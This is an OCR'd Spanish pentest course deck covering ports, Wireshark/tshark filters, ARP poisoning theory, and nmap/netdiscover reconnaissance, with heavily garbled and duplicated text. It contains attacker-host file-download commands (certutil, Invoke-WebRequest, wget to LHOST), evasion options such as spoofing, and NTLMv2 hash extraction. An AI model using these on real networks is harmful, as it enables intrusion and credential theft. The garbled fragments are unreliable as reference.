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WE HAVE A NET TO BURN

- Redes. ( Teoria y practica )

- Modulo 1 BASICS IN PENTEST:
Reconocimiento de redes & servicios
Entornos de red en seguridad.

DDOS
- Modulo 2 NETWORKING AND PENTEST:
- Ataques a redes
- MITM ARP, DHCP, SSL & IPv6
- Ataques a redes corporativas.
- Hacking wifi.* (Mana..)

- Hacking Windows networks
- Evasidén y canales encubierto
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Straight-through - Connect PC to hub or switch (router to switch or breakup collision domains, hubs extend 255.255.0.0 ne 2992202090224 127
hub them B Ji 255.255.255.240 /28
ub) . . B SRR 1650 iig 255.255.255.248 /29
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COMMON PORTS

7 Echo
19 Chargen
FTP
o
23 Telnet
25 SMTP
42 WINS Replication
43 WHOIS
49 TACACS
DNS
DHCP/BOOTP
TFTP
Gopher
Finger
HTTP
Kerberos
MS Exchange
POP3
Ident
NNTP (Usenet)
NTP
Microsoft RPC
137-139 NetBIOS
143 IMAP4
61-162 SNMP
177 XDMCP
179 BGP
201 AppleTalk
264 BGMP
318 TSP
381-383 HP Openview
389 LDAP
411-412 Direct Connect

135

Microsoft DS
Kerberos

Retrospect

rexec
rlogin
syslog
LPD/LPR
RIP

RIPNg (IPV6)
uuce

554
546-547

902
989-990
993

995

1025
1026-1029
1080

1080

1194

1214

1241

1311

1337
1433-1434
1512

1589

1701

1723

1725

1741

1755
1812-1813
1863

1985

2000

2002

2049
2082-2083
2100

2222

2302
2483-2484

TCP/UDP Port Numbers

RTSP
DHCPv6

rmonitor

SMTP
FileMaker
Microsoft DCOM

Internet Printing

MSDP (PIM)
LDP (MPLS)
MS Exchange
isCsl

rsync

VMware Server

Microsoft RPC
Windows Messenger
SOCKS Proxy

OpenVPN

Kazaa

Nessus

Dell OpenManage
WASTE

Microsoft SQL
WINS

Cisco VQP

L2TP

MS PPTP

CiscoWorks 2000
MS Media Server
RADIUS

Cisco HSRP
Cisco SCCP
Cisco ACS
NFS

cPanel
Oracle XDB
DirectAdmin

Oracle DB

2967 Symantec AV
3050 Interbase DB
3124 HTTP Proxy
3127
3128 HTTP Proxy
3222 GLBP
3260 iSCSI T:
3306 MySQL
3389 Terminal Server
3689
3690 Subversion
3724
3784-3785 Ventrilo
4333 mSQL
4444
4664 Google Desktop
4672
4899
5000
5001
5001 i
5004-5005
5050
5060
5190
5222-5223
5432 PostgreSQL
5500 VNC Server
5554
5631-5632 pcAnywhere
5800 VNC over HTTP
5900+ VNC Server
6000-6001 X11
6112
6129 DameWare
6257 WinMx
6346-6347 Gnutella
6500
6566 SANE
6588 AnalogX
6665-6669
6679/6697 IR
6699 Napster
6881-6999 BitTorrent

iTunes

n
c
2

6891-6901
6970 Quicktime
7212 GhostSurf

7648-7649
8000
8080

8086-8087
8118
8200 VMware Server
8500 Adobe ColdFusion
8767
8866
9100

9101-9103
9119 MX
9800 WebDAV
9898
9988
9999

10000 Webmin
10000
10113-10116

T
9
n
x
[
~
o
5
o
-

Internet Radio
HTTP Proxy
Kaspersky AV

Privoxy

HP JetDirect
Bacula

Urchin

BackupExec
NetlQ
11371 OpenPGP
12035-12036
12345
13720-13721
14567
15118
19226 Admin
19638
20000
24800 Synergy
25999
27015
27374
28960
31337
33434+

NetBackup

Ensim

Usermin

traceroute
Legend

B chat

B Encrypted

B Gaming

B valicious

[ Peer to Peer

Streaming

IANA port assignments published at http:/www.iana.org/assignments/port-numbers




SECURE

COMMON PORTS i ) INSECURE
PORT

TCP/UDP Port Numbers P o RT

Echo 554 RTSP 2745 6891-6901

Chargen 546-547 DHCPv6 2967 Symantec AV 6970 Quicktime

FTP 560 rmonitor 3050 Interbase DB 7212 Ghostsurf 21 File Transfer Protocol (FTP) sends the 22 Uses encryption to protect the user
s63 [NNTP overssL | 3074 76487649 username and password using credentials and packets of data being

Telnet 587 SMTP 3124 HTTP Proxy 8000 Internet Radio FTP s:,'\::fxr from the client to the SFTP transferred.

SMTP 591 FileMaker 3127 [SSSH B0O8BO HTTP Proxy

WINS Replication 593 Microsoft DCOM 3128 HTTP Proxy 8086-8087 Kaspersky AV

WHOIS 631 Internet Printing 3222 GLBP 8118 Privoxy All information to & from the host on Secure Shell (SSH) on port 22 uses

TACACS LbAPoverssL 3260 iSCSI Target 8200 VMware Server 23 a telnet connection is sent in plaintext 22 encryption to ensure that traffic

SECURE Petween the host and terminal is not

POP3 995 4664 Google Desktop 9988
Ident 1025 Microsoft RPC 4672 9999 Urchin 37 Time Proto;ol, may be in use by 1 2 NTP on port 123 offers better error-
119 NNTP (Usenet) 1026-1029 Windows Messenger 4899 i 10000 Webmin legacy equipment and has mostly 3 handling capabilities, which reduces
123 NTP 1080 SOCKS Proxy 5000 10000 BackupExec TIME sz:vorripx’airc:: Ptr)c\;tc?cscl;r?N[W)'g;t 123 for NTP the likelihood of unexpected errors.
135 Microsoft RPC 1080 5001 i 10113-10116 NetlQ i
137-139 NetBIOS 1194 OpenVPN 5001 11371 OpenPGP
143 IMAP4 1214 5004-5005 12035-12036

161-162 SNMP 1241 Nessus 5050 12345 53 Domain Name Service (DNS), is still 853 However, using DNS over TLS (DoT)
on port 853 protects DNS information

177 XDMCP 1311 Dell OpenManage 5060 13720-13721 NetBackup used widely. b 5 2 .
T T :
179 BGP 1337 5190 14567 DNs DOT from being modified in transit

201 AppleTalk 1433-1434 Microsoft SQL 5222-5223 15118
264 BGMP 1512 WINS 5432 PostgreSQL 19226 AdminSecure Hyper Text Transfer Protocol (HTTP)

318 TSP 1589 Cisco VQP 5500 VNC Server 19638 Ensim 80 is the basis of nearly all web browser 443 :Ial;Zfredus:sgit ;l;gtecs:i?;té%?a ilz
381-383 HP Openview 1701 L2TP 5554 traffic on the internet. Information ’

20000 Userviin ; : transit between the server and the
H l l P sent via HTTP is not encrypted and is HTTPS
389 LDAP 1723 MS PPTP 5631-5632 pcAnywh 24800 S : A w.
EEm ISEY susceptible to sniffing attacks browser.

411-412 1725 5800 VNC over HTTP 25999

443 1741 CiscoWorks 2000 5900+ VNC Server 27015

Microsoft DS 1755 MS Media Server 6000-6001 X11 27374

Kerberos 1812-1813 RADIUS 6112 28960

1863 6129 31337

Retrospect 1985 Cisco HSRP 6257 33434+ traceroute to network sniffing

2000 Cisco SCCP 6346-6347 Legend

rexec 2002 Cisco ACS 6500 .chat Server Message Block (SMB), is used Network File System (NFS). Although

rlogin 2049 NFS 6566 M Encrypted by many versions of Windows for 2049 NFS can wuse encryption, it is

syslog 2082-2083 cPanel 6588 M caming SMB accessing files over the network. N Fs recommended that NFS not be
LPD/LPR 2100 Oracle XDB 6665-6669 . . Files are transmitted unencrypted. allowed through firewalls either.

RIP 2222 DirectAdmin 6679/6697

RIPNg (IPv6) 2302 _ 6699

uuce 2483-2484 Oracle DB 6881-6999

DNS MSDP (PIM) 3306 MySQL 8500 Adobe ColdFusion TELNET & can be intercepted by an attacker
DHCP/BOOTP LDP (MPLS) 3389 Terminal Server 8767 _ SHELL sent in a plaintext format.
TFTP MS Exchange 3689 iTunes 8366 RO
Gopher sesi . 5680 Subversion 9100 HP JetDirect _Simple Mail Transfer Protocol (SMTP_) The secure alternative is to use port
Finger rsync 3724 [SHGGTHWETCE 9103 Bacula 25 is the default for sending email 587 587 for SMTP using Transport Layer
HTTP VM s, 3784-3785 Ventril o110 XENIEN messages. Since it is unencrypted, Security (TLS) which will encrypt the

ware Server il SMTP data contained within the emails SMTP data between the mail client and the
Kerberos 989-990 [FEEVERSSHIN 4333 mSQL 9800 WebDAV could be discovered by network mail server.

[POP3 overssL |

o &l o
IIqu |

Internet Message Access Protocol

The secure alternative is to use port
(IMAP) is a protocol used for 993 3
1 43 retrieving emails. IMAP traffic on port 993 for IMAP, which adds SSL/TLS

security to encrypt the data between
IMIAP 143 is not encrypted and susceptible IMAP [ e s s

> w0

> 9 ¥

3z 3

& m 2

g z

x B
n

[ Peer to Peer

Streaming (LDAP) 2 Tiisadl t5 communicata Lightweight Directory Access Protocol

Lightweight Directory Access Protocol

IANA port assignments published at http://www.iana.org/assignments/port-numbers LDAP LDAPS security to protect the information

lients. Since LDAP is not encryptec
4 while it is in transit

by Jeremy Stretch - t 1S tib t iffinc




Wireshark Cheat Sheet

Frame number from the begining of the packet
capture All the condit

Either all or ane.

Seconds from the first frame
y one of the twa
natch not bo

Source address, commonly an IPv4, IPv6 or

. Not (Negation) Not equal to
Ethernet address

EEstratiGadiess Filtering packets (Display Filters)

Protocol used in the Ethernet frame, IP packet, —~
or TC segment ‘ego Logical AND

Logical OR
Length of the frame in bytes
| Logical XOR frame.le

Filter Types itor < | Not (Negation) frame.len 10

Capture Filter Filter packets during capture

Substring operator frame.len >>

Display filter Hide packets from a capture display or <= Substring operator frame.len <

= = - | Miscellaneous
Wireshark Capturing Modes .
Slice Operator [..] Range of values

Promiscuous mode Sets interface to capture all pac on a nel rk segment to
which it is associated to Setup the wirless interface to capture all Membership Operator  {} - In

Monitor mode traffic it can receive (Unix/Linux only) o Start/Stop Capturing

Capture Filter Syntax

Syntax protocol Direction ho: value Logical operator

Example tep src 192, 1.1 80 and

Display Filter Syntax
Syntax protocol String 1 String 1 Comparison operator Vaiue Logical Operator Expressions

Example http dest Ip 192.168.1.1 and tcp port

Keyboard Shortcuts - main display window
Accelerator Description Accelerator Description

e :i::‘:';‘:‘:’ SODREALE Co'the packa Move to the next packetin the selection history.

e e In the packet detail, opens the selected tree items and all of its
e e

Move to the previous packet, even if the packet list isn't focused. In the packet detail, closes all the tree

Move to the next packet of the conversation (TCP, UDP o IP). IR PRI SAIE FRnps £ She Pt Boch:
“ Move to the previous packet of the conversation (TCP, UDP or IP). m e e
_Protocols Values ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp

In the packet detail, opens all tree items.




Wireshark Cheat Sheet

Frame number from the begining of the packet
capture

Seconds from the first frame
y one of the twa
natch not bo

Source address, commonly an IPv4, IPv6 or Not (Negation) Nt
Ethernet address

Substring operator Filter a specific word or text

Destination adress Filtering packets (Display Filters)
Protocol used in the Ethernet frame, IP packet, . :
or TC segment Logical AND

Logical OR
Length of the frame in bytes

I | Logical XOR frame.les

Filter Types itc | Not (Negation) frame.len 10

Capture Filter Filter packets during capture

Substring operator frame.len >>

Display filter Hide packets from a capture display lec Substring operator frame.len <

= = | Miscellaneous
Wireshark Capturing Modes .
Slice Operator [..] Range of values

Promiscuous mode Sets interface to capture all pac on a nel rk segment to
which it is associated to Setup the wirless interface to capture all Membership Operator  {} - In

Monitor mode traffic it can receive (Unix/Linux only) CTRLSE Start/Stop Capturing

Capture Filter Syntax

Syntax protocol Direction ho: value Logical operator Expressions
Example tcp src 192 11 80 and tep dst 12.164.30.1
Display Filter Syntax
Syntax protocol String 1 String 1 Comparison operator Vaiue Logical Operator Expressions

Example http dest Ip 192.168.1.1 and tcp port

Keyboard Shortcuts - main display window
Accelerator Description Accelerator Description

e :f"::‘l";‘:;’ SODREALE Co'the packa Move to the next packetin the selection history.
m Move to the next packet, even if the packet list isn't focused. in the packet detail, opens all tree items.

Move to the next packet of the conversation (TCP, UDP o IP). IR PRI SAIE FRnps £ She Pt Boch:
“ Move to the previous packet of the conversation (TCP, UDP or IP). m e e
_Protocols Values ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp

In the packet detail, opens the selected tree item.

In the packet detail, opens the selected tree items and all of its
subtrees.

In the packet detail, closes all the tree




[+] ARP

ARP es un protocolo de la capa 2 y 3 (ya que contiene la direccion MAC e IP). Tanto los paquetes de
peticion de ARP como los de respuesta de ARP pueden ser trafico de difusion (broadcast). Como tales, no
estan disenados para proporcionar ninguna validacion de identificacion en la transaccion.

Aunque la suplantacion de ARP se puede ejecutar en el transcurso de transacciones ARP, creando una
condicion de carrera, el uso mas comun es la distribucion de respuestas ARP no solicitadas, que son
almacenadas por los clientes en sus cachés ARP, generando de esta manera el escenario de
envenenamiento de caché ARP.



[+] ARP

ARP es un protocolo de la capa 2 y 3 (ya que contiene la direccion MAC e IP). Tanto los paquetes de
peticion de ARP como los de respuesta de ARP pueden ser trafico de difusion (broadcast). Como tales, no
estan disenados para proporcionar ninguna validacion de identificacion en la transaccion.

Aunque la suplantacion de ARP se puede ejecutar en el transcurso de transacciones ARP, creando una
condicion de carrera, el uso mas comun es la distribucion de respuestas ARP no solicitadas, que son
almacenadas por los clientes en sus cachés ARP, generando de esta manera el escenario de
envenenamiento de caché ARP.

No. Time Source Destination Protocol Length Info
4 ©.936316 Giga-Byt e6:6b:5e Broadcast ARP 42 Who has 10.10.2.1? Tell 10.10.2.2
6 0.037060 AsustekC 01:d7:10 Giga-Byt e6:6b:5e ARP 60 10.10.2.1 is at 0c¢:9d:92:01:d7:10
7 ©.063189 Giga-Byt e6:6b:5e Broadcast ARP 42 Who has 10.10.2.1? Tell 10.10.2.2
8 0.063859 AsustekC 01:d7:10 Giga-Byt e6:6b:5e ARP 60 10.10.2.1 is at ©c¢:9d:92:01:d7:10
33 0.368769 Giga-Byt e6:6b:5e Broadcast ARP 42 Who has 10.10.2.2? Tell 0.0.0.0
142 1.368171 Giga-Byt _e6:6b:5e Broadcast ARP 42 Who has 10.10.2.2? Tell 0.0.0.0
294 2.110894 Giga-Byt_e6:6b:5e Broadcast ARP 42 Who has 10.10.2.20? Tell 10.10.2.2
295 2.111115 HewlettP 92:b3:48 Giga-Byt _e6:6b:5e ARP 60 19.10.2.20 is at 10:60:4b:92:b3:48
80 00 20 7A 3F 3E 80 00 20 20 3A AE 08 00 IP, ARP, etc. 00 20 20 3A
Destination MAC Address Source MAC Address EtherType Payload CRC Checksum
MAC Header Data
(14 bytes) (46 - 1500 bytes) (4 bytes)
Ethernet Type Il Frame
(A t0o 1518 hyutac)




MODULO 0 - NETWORKING

MODULO REDES

https://www.geeksforgeeks.org/computer-network-cheat-she

3S 7/ B W b 8 ks O ilefls &hbdblogies-and-resources/external -recon-methodolog

- https://wiki.wireshark.org/DisplayFilters

- Hacer:
Protocolos. -
Practica wireshark/tshark I':: .':::E:I
I. - III
https:/loveisinthe.net/blog/2021/02/13/Tshark-uses-for-pentest I; I_II;I
|
https://book.hacktricks.xyz/generic-methodologies-and-re e e
sources/basic-forensic-methodology/pcap-inspection/wire __"" L
shark-tricks !


https://www.geeksforgeeks.org/computer-network-cheat-sheet/
https://www.geeksforgeeks.org/computer-network-cheat-sheet/
https://www.exploit-db.com/docs/48120
https://loveisinthe.net/blog/2021/02/13/Tshark-uses-for-pentest
https://wiki.wireshark.org/DisplayFilters
https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks

MODULO 0 - NETWORKING

MODULO REDES

kali@kali$ sudo tshark -f "ether proto \arp"” -Tfields -e
arp.src.proto_ipv4 -e arp.src.hw_mac -e arp.dst.proto_ipv4 -e
arp.dst.hw_mac

- https://wiki.wireshark.org/DisplayFilters

| sudo tshark -f "ether proto \arp" -Tfields -e arp.src.proto_ipv4 -e e-e TR
sudo tshark -f "ether proto \arp" -Tfields -e arp.src.proto_ipv4 -e -e -e * jomoza@notyourdevice:~
[ij jomoza‘notyourdevice |/dev/pts/1’ =
'~]> sudo tshark -f "ether proto \arp" -Tfields -e arp.src.proto_ipv4 -e arp.src. thf---ﬂﬁﬁ'ar
p.dst.proto_ipv4 -e arp.dst.hw_mac J——
Running as user "root" and group "root". This could be dangerous. t ]
Capturing on 'wlo1’ -:. .
192.168.0.46 74:c6:3b:a7:00:4d 192.168.0.39 00:00:00:00:00:00 ;f -__[:'“r'.
192.168.0.46 74:¢6:3b:a7:00:4d 192.168.0.45 00:00:00:00:00:00 !
192.168.0.46 74:c6:3b:a7:00:4d 192.168.0.50 00:00:00:00:00:00

_
10D 10 N A N o111 e D e D7 e 10C L0 109 100 N AC o 3 B chier | B~y v o Y o B N T'T. "


https://wiki.wireshark.org/DisplayFilters

MODULO 0 - NETWORKING

MODULO REDES
kali@kali$ sudo tshark -f "src port 53" -n

S =

~ C s

Home Archives web recon cheat sheet pentestingadlab dealer About

Tshark uses for pentest

2021-02-13

TSHARK CHEET SHEEP USES FOR
PENTESTERS

This post shows a series of examples of the “tshark” command using it for

diffarant niirnncac tha avamnlac chnwwn halnw ara enacific tn coa intaractinn

-T fields -e dns.gry.name -e dns.a

e AN e

-—ox '~~~

flameshot gui

flameshot gui

jomozanotyourdevice| |/dev/pts/1
~]> sudo tshark -f
[sudo] password for jomoza:
Running as user "root" and group "root".
Capturing on 'wlol'
loveisinthe.net 104.21.54.18,172.67.222.129
loveisinthe.net
safebrowsing.googleapis.
www.google.com 142.250.
www . google.com
static.shodan.io
static.shodan.io

com 142.250.201.74

185.4

104.18.12.238,104.18.13. 23 pm,
n

N

jomoz:

"src port 53" -n -T fields -e dns.qry.name -e

This could be dangerous.

l L.
www.instagram.com 31.13.83.174 o : ..'l
www.instagram.com wull
static.cdninstagram.com 31.13.83.52 g—
static.cdninstagram.com
geonet.shodan.io 104.18.12.238,104.18. 1J
geonet.shodan.io ' -_ 1_
static.cdninstagram.com 31.13.83.52 S g |'-'-- =
internetdb.shodan.io 104.18.12.238, 10_:'_' 7777: S DU = I = '.
internetdb.shodan.io i
scontent.cdninstagram.com 31.13¥%



MODULO 0 - NETWORKING

Capture a network trace with builtin tools »

e Windows (netsh)

©

# start a capture use the netsh command.
netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384

# stop the trace
netsh trace stop

# Event tracing can be also used across a reboots
netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize-16384

# To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert fo

etl2pcapng.exe c:\trace.etl c:\trace.pcapng

# Use filters
netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=1

<+ >

e Linux (tcpdump)

©

sudo apt-get install tcpdump
tcpdump -w 0001.pcap -i etho
tcpdump -A -i etho

# capture every TCP packet
tcpdump -i etho tcp

# capture everything on port 22
tcpdump -i eth@ port 22

https://github.com/swisskyrepo/PayloadsAllTheThings/



https://github.com/swisskyrepo/PayloadsAllTheThings/

MODULO 0 - NETWORKING

File Transfers

® Downloading on Windows

powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\
iwr -uri http://lhost/file -Outfile file

certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

copy \\kalil\share\file .

e Downloading on Linux

wget http://lhost/file
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

Windows to Kali

kali> impacket-smbserver -smb2support <sharename> .
win> copy file \\KaliIP\sharename

sudo tshark -Tfields -Y "ntlmssp" -e
"ntlmssp.auth.username" -e "ntlmssp.ntlmv2_respon|
se" -e "ntlmssp.ntlmserverchallenge" -e "ntlmssp.challenge.target info"

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/
Windows%20-%20Download%20and%20Execute.md



https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
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NETWORK RECON. - Reconocimiento de redes

- netcat-v-z-n-w1192.168.1.254 1-1023
- remote: nmap ( https://qithub.com/leonjza/awesome-nmap-garep )
- local: netdiscover ( https://qgithub.com/netdiscover-scanner/netdiscover )

28 CaptureE ARP Req/Rep packets, from 23 hosts. Total size: 1680

IP At MAC Address Count Len MAC Vendor / Hostname
172.21.0.53 00:12:d9:ed:d8:3c 1 60 Cisco Systems, Inc
10.10.22.244 00:21:70:32:57:a7 3 180 Dell Inc.
10.10.0.79 00:1a:4b:2:81:20 2 120 Hewlett Packard
10.10.0.1 cc:16:7e:04:23:el 1 60 Cisco Systems, Inc
10.10.0.10 00:24:e8:32:¢c3:b8 1 60 Dell Inc.
10.10.0.50 00:14:38:d8:79:60 1 60 Hewlett Packard Enterprise
10.10.0.52 00:01:26:39:91:10 1 60 Hewlett Packard
10.10.0.53 00:00:aa:f9:aa:e5 2 120 XEROX CORPORATION


https://github.com/leonjza/awesome-nmap-grep
https://github.com/netdiscover-scanner/netdiscover

NETWORK RECON. - ARP :: Netdiscover

[[iomoza@notyourdevice] [/dev/pts/3]
[~]> sudo netdiscover -i wlan0

Currently scanning: 192.168.95.0/16 | Screen View: Unique Hosts 192.168.97.67 28:11:a8:37:15:68 192.168.97.48 ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.49  ff:ff:ff:ff:ff:ff

5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 246 192.168.97.67 28:11:a8:37:15:68 192.168.97.50 ff:ff:ff:ff:ff: ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.51 ff:ff:ff:ff:ff:ff

P At MAC Address Count Len MAC Vendor / Hostname 192.168.97.67 28:11:a8:37:15:68 192.168.97.52 B L PR Loy B i i 8
_____________________________________________________________________________ 192.168.97.67 28:11:a8:37:15:68 192.168.97.53  ff:ff:ff:ff:ff:ff
192.168.0.1 b0:46:fc:76:32: a8 2 84 MitraStar Technology Corp. 192.168.97.67 28511fa8337f15f68 192.168.97.54 ffffffffffffffsz
192.168.0.43  4c:6e:6e:2f:d9:35 1 42 Comnect Technology CO.,LTD (22008 D oigeet A ab T on e T LR
. : 192.168.97.67 28:11:a8:37:15:68 192.168.97.56  ff:ff:ff:ff:ff:ff

JH2. TG0 SO 1SRl oo ! Gaebale L LnteTiEuTonnE 192.168.97.67 28:11:a8:37:15:68 192.168.97.57  ff:ff:ff:ff:ff:ff
192.168.0.50  6¢:19:8f:bf:c4:0d L 60 D-Link International 192.168.97.67 28:11:a8:37:15:68 192.168.97.58  ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.59  ff:ff:ff:ff:ff:ff

Jjomoza‘notyourdevice| [/dev/pts/2] [130 192.168.97.67 28:11:a8:37:15:68 192.168.97.60  ff:ff:ff:ff:ff:ff
5 192.168.97.67 28:11:a8:37:15:68 192.168.97.61 T FEsEE B EESEE
jomoza‘notyourdevice| [/dev/pts/2] (130 192.168.97.67 28:11:a8:37:15:68 192.168.97.62  ff:ff:ff:ff:ff:Ff
~]- nmap -sP 172.18.0.1/16 192.168.97.67 28:11:a8:37:15:68 192.168.97.63 ff:ff:ff:ff:ff:ff
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-09 11:19 CEST 192.168.97.67 28:11:a8:37:15:68 192.168.97.64  ff:ff:ff:ff:ff:ff
Nmap scan report for 172.18.0.1 192.168.97.67 28:11:a8:37:15:68 192.168.97.65 ff:ff:ff:ff:ff:ff
Host is up (0.00038s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.66  ff:ff:ff:ff:ff:ff
Nmap scan report for 172.18.0.2 192.168.97.67 28:11:a8:37:15:68 192.168.97.67 | & L R A L
Host is up (0.00037s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.68 | B8 o ) ) L LR AL
Nmap scan report for 172.18.0.3 192.168.97.67 28:11:a8:37:15:68 192.168.97.69 53 700 3 A A g e 3
Host is up (0.00040s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.70 1 8 29 804 720 1 B 1 R B
192.168.97.67 28:11:a8:37:15:68 192.168.97.71 ff:ff:ff:ff:ff: ff

192.168.97.67 28:11:a8:37:15:68 192.168.97.72 B e e A B A

192.168.97.67 28:11:a8:37:15:68 192.168.97.73  ff:ff:ff:ff:ff:ff

192.168.97.67 28:11:a8:37:15:68 192.168.97.74 ff:ff:ff:ff:ff:ff

192.168.0.46 74:c6:3b:a7:00:4d 192.168.0.41 00:00:00:00:00:00



NETWORK RECON. - ARP :: Banner Grabbing:

#use -Pn option if you're getting nothing in scan
$> sudo nmap -sV -p 443 192.168.50.124

#> running banner grabbing of port 443



NETWORK RECON. - ARP :: Banner Grabbing:

#use -Pn option if you're getting nothing in scan
$> sudo nmap -sV -p 443 192.168.50.124
#running banner grabbing of port 443

POWERSHELL

$> Test-NetConnection -Port <port> <IP> #powershell utility

$> 1..1024 | % {echo ((New-Object

Net.Sockets.TcpClient).Connect("IP", $ )) "TCP port $_is open"}
2>$null



NETWORK RECON. I'm not Strobe

NMAP — -sP, -PN, -sV, -sC, -ilL, -0A

SCRIPTS: https://github.com/emadshanab/Nmap-NSE-scripts-collection https://nmap.org/nsedoc/scripts/

- ~
- ~
e

EVARIONS... ‘ .
- Proxying: nmap -sS -Pn --proxies Proxy Url -F target.foo Lua
- |P Spoofing: nmap -sS -Pn -F target.foo

- Nmap lets you spoof your MAC address using --spoof-mac <Mac_Address>.


https://github.com/emadshanab/Nmap-NSE-scripts-collection
https://nmap.org/nsedoc/scripts/

NETWORK RECON. I'm not Strobe

Currently scanning: 192.168.95.0/16 | Screen View: Unique Hosts 192.168.97.67 28:11:a8:37:15:68 192.168.97.48
192.168.97.67 28:11:a8:37:15:68 192.168.97.49
5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 246 192.168.97.67  28:11:a8:37:15:68 192.168.97.50
192.168.97.67 28:11:a8:37:15:68 192.168.97.51
P At MAC Address Count Len MAC Vendor / Hostname 325108 e o/ 2 lian Ly Ok gaz.ans o2
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, 192.168.97.67 28:11:a8:37:15:68 192.168.97.53
192.168.0.1 2 84 MitraStar Technology Corp. 12;‘:2?2;‘2; ii.:::as:n 15_58 132 18 90 an
192.168.0.43 1 42 Comnect Technology CO.,LTD <108 s atagaaon 192000 2055
. 192.168.97.67 28:11:a8:37:15:68 192.168.97.56
192468 080 ; p SpiDg Inte TG ongt 192.168.97.67 28:11:a8:37:15:68 192.168.97.57
192.168.0.50 6c:19:8f:bf:c4:0d 1 60 D-Link International 192.168.97.67 28:11:28:37:15:68 192.168.97.58  ff:ff:ff:ff:ff:Ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.59  ff:ff:ff:ff:ff:ff
Jjomoza‘notyourdevice| [/dev/pts/2] [130 192.168.97.67 28:11:a8:37:15:68 192.168.97.60  ff:ff:ff:ff:ff:ff
Z 192.168.97.67 28:11:28:37:15:68 192.168.97.61  ff:ff:ff:ff:ff:ff
Jjomoza'notyourdevice  [/dev/pts/2] [130 192.168.97.67 28:11:a8:37:15:68 192.168.97.62  ff:ff:ff:ff:ff:ff
~1> nmap -sP 172.18.0.1/16 192.168.97.67 28:11:a8:37:15:68 192.168.97.63  ff:ff:ff:ff:ff:ff
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-09 11:19 CEST 192.168.97.67 28:11:a8:37:15:68 192.168.97.64  ff:ff.ff:ff:ff:ff
Nmap scan report for 172.18.0.1 192.168.97.67 8:11:a8:37:15:68 192.168.97.65 ff:ff:ff:ff:ff:ff
Host is up (0.00038s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.66  ff:ff:ff:ff:ff:ff
Nmap scan report for 172.18.0.2 192.168.97.67 28:11:a8:37:15:68 192.168.97.67  ff:ff:ff:ff:ff:ff
Host is up (0.00037s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.68  ff:ff:ff:ff:ff:ff
Nmap scan report for 172.18.0.3 192.168.97.67 28:11:28:37:15:68 192.168.97.69  ff:ff:ff:ff:ff:ff
Host is up (0.00040s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.70  ff:ff:ff:ff: ff: ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.71  ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.72  ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.73  ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.74  ff:ff:ff:ff:ff:ff

192.168.0.46 74:c6:3b:a7:00:4d 192.168.0.41 00:00:00:00:00:00



NETWORK RECON. I'm not Strobe

Currently scanning: 192.168.95.0/16 | Screen View: Unique Hosts 192.168.97.67 28:11:a8:37:15:68 192.168.97.48
192.168.97.67 28:11:a8:37:15:68 192.168.97.49
5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 246 192.168.97.67  28:11:a8:37:15:68 192.168.97.50
192.168.97.67 28:11:a8:37:15:68 192.168.97.51
P At MAC Address Count Len MAC Vendor / Hostname 325108 e o/ 2 lian Ly Ok gaz.ans o2
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, 192.168.97.67 28:11:28:37:15:68 192.168.97.53
ozt 0 1 boasrceae 2 5 Wiirastor Tecmolosy Corp. T s B
:3;':22'8':3 ch?g‘6e'2f'd9j35 : gg goTneE(ITechnology fo"LTD 192.168.97.67 28:11:a8:37:15:68 192.168.97.56  ff:ff:ff:ff:ff:ff
L L : L 0 i 1:::2232221 192.168.97.67 28:11:a8:37:15:68 192.168.97.57  ff:ff:ff:ff:ff:ff
SR el 192.168.97.67 28:11:28:37:15:68 192.168.97.58  ff:ff:ff:ff:ff:ff
192.168.97.67  28:11:a8:37:15:68 192.168.97.59  ff:ff:ff:ff:ff:ff
Jjomoza‘notyourdevice| [/dev/pts/2] [130 192.168.97.67 28:11:a8:37:15:68 192.168.97.60  ff:ff:ff:ff:ff:ff
